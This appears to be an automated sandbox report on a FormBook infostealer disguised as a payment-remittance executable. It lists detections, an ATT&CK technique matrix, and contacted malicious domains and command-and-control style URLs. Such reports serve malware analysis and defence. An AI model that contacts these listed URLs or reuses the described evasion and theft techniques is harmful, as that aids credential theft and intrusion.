Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection512	Masquerading1	Input Capture1	Security Software Discovery221	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection512	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information4	Cached Domain Credentials	System Information Discovery112	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing13	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	File Deletion1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	28%	Virustotal		Browse
Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Taskun
Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.jiyu-kobo.co.jp/HO	0%	Avira URL Cloud	safe
http://www.fontbureau.comgritaHO	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/ty	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr8	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.goodfont.co.krKKd	0%	Avira URL Cloud	safe
http://www.carterandcone.comva	0%	URL Reputation	safe
http://www.fontbureau.com-O6d	0%	Avira URL Cloud	safe
http://www.fontbureau.comttod	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/eOndo	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.fontbureau.comasF	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/0O	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr2K	0%	Avira URL Cloud	safe
http://www.fontbureau.comttF	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/lOyd	0%	Avira URL Cloud	safe
http://www.carterandcone.comypo	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/lOyd	0%	Avira URL Cloud	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cnly	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
www.fasilitatortoefl.com/uytf/	0%	Avira URL Cloud	safe
http://www.carterandcone.com9	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0	0%	URL Reputation	safe
http://www.fontbureau.com.TTFsO	0%	Avira URL Cloud	safe
http://www.fontbureau.comrsiv	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://www.fontbureau.comF	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/It	0%	Avira URL Cloud	safe
http://www.fontbureau.comgritolOyd	0%	Avira URL Cloud	safe
http://www.btt5204.com/uytf/?4hax=0R01lDMz+xXIWoinSyO5qQyNMJHeVacFioz47MHPNe7DMd9wx+TtySfTu0uIVXra7tyR&6lE=xT6Pc	0%	Avira URL Cloud	safe
http://www.itsready.support/uytf/?4hax=Lw8pQUl/qe2gQHW8JEklnfX9vlL4ErZAhlphDfsrttl8uYXfrtRE5waSCzthMEOsFHNR&6lE=xT6Pc	0%	Avira URL Cloud	safe
http://www.fontbureau.comS	0%	Avira URL Cloud	safe
http://www.fontbureau.comceva	0%	Avira URL Cloud	safe
http://www.carterandcone.comYou	0%	Avira URL Cloud	safe
http://www.carterandcone.como	0%	URL Reputation	safe
http://www.founder.com.cn/cncz	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/Y0nl	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.sandoll.co.krQK	0%	Avira URL Cloud	safe
http://www.fontbureau.comd	0%	URL Reputation	safe
http://www.fontbureau.comdAO	0%	Avira URL Cloud	safe
http://www.carterandcone.com%$I/d	0%	Avira URL Cloud	safe
http://www.carterandcone.comm	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.como..	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/t	0%	URL Reputation	safe
http://www.carterandcone.comz	0%	Avira URL Cloud	safe
http://www.carterandcone.comy	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/;O$dh	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.micro(D.df	0%	Avira URL Cloud	safe
http://www.fontbureau.comals	0%	URL Reputation	safe
http://www.zhongyicts.com.cnrsCI	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/VO	0%	Avira URL Cloud	safe
http://www.fontbureau.comcomS	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/0O	0%	Avira URL Cloud	safe
http://www.carterandcone.comueh	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/-O6d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pasalsacongress.com	192.185.52.175	true	true	unknown
parkingpage.namecheap.com	198.54.117.215	true	false	high
www.johnharrisagent.com	52.71.133.130	true	false	high
v3lala99.cdnddd.net	103.15.104.66	true	true	unknown
www.moominmamalog.com	183.181.96.104	true	false	unknown
www.yummyblockparty.com	unknown	unknown	true	unknown
www.hide.osaka	unknown	unknown	true	unknown
www.pasalsacongress.com	unknown	unknown	true	unknown
www.fitotec.net	unknown	unknown	true	unknown
www.btt5204.com	unknown	unknown	true	unknown
www.itsready.support	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
www.fasilitatortoefl.com/uytf/	true	Avira URL Cloud: safe	low
http://www.btt5204.com/uytf/?4hax=0R01lDMz+xXIWoinSyO5qQyNMJHeVacFioz47MHPNe7DMd9wx+TtySfTu0uIVXra7tyR&6lE=xT6Pc	true	Avira URL Cloud: safe	unknown
http://www.itsready.support/uytf/?4hax=Lw8pQUl/qe2gQHW8JEklnfX9vlL4ErZAhlphDfsrttl8uYXfrtRE5waSCzthMEOsFHNR&6lE=xT6Pc	true	Avira URL Cloud: safe	unknown
http://www.johnharrisagent.com/uytf/?4hax=1GgOydTR9rFB1tFiaPZsKtEWQf/ik/nrf61jzTsng/4mIf33LxMFmIGp7DtpN0+eCTBT&6lE=xT6Pc	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.jiyu-kobo.co.jp/HO	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comgritaHO	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216627255.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/ty	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213811208.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sandoll.co.kr8	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.krKKd	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
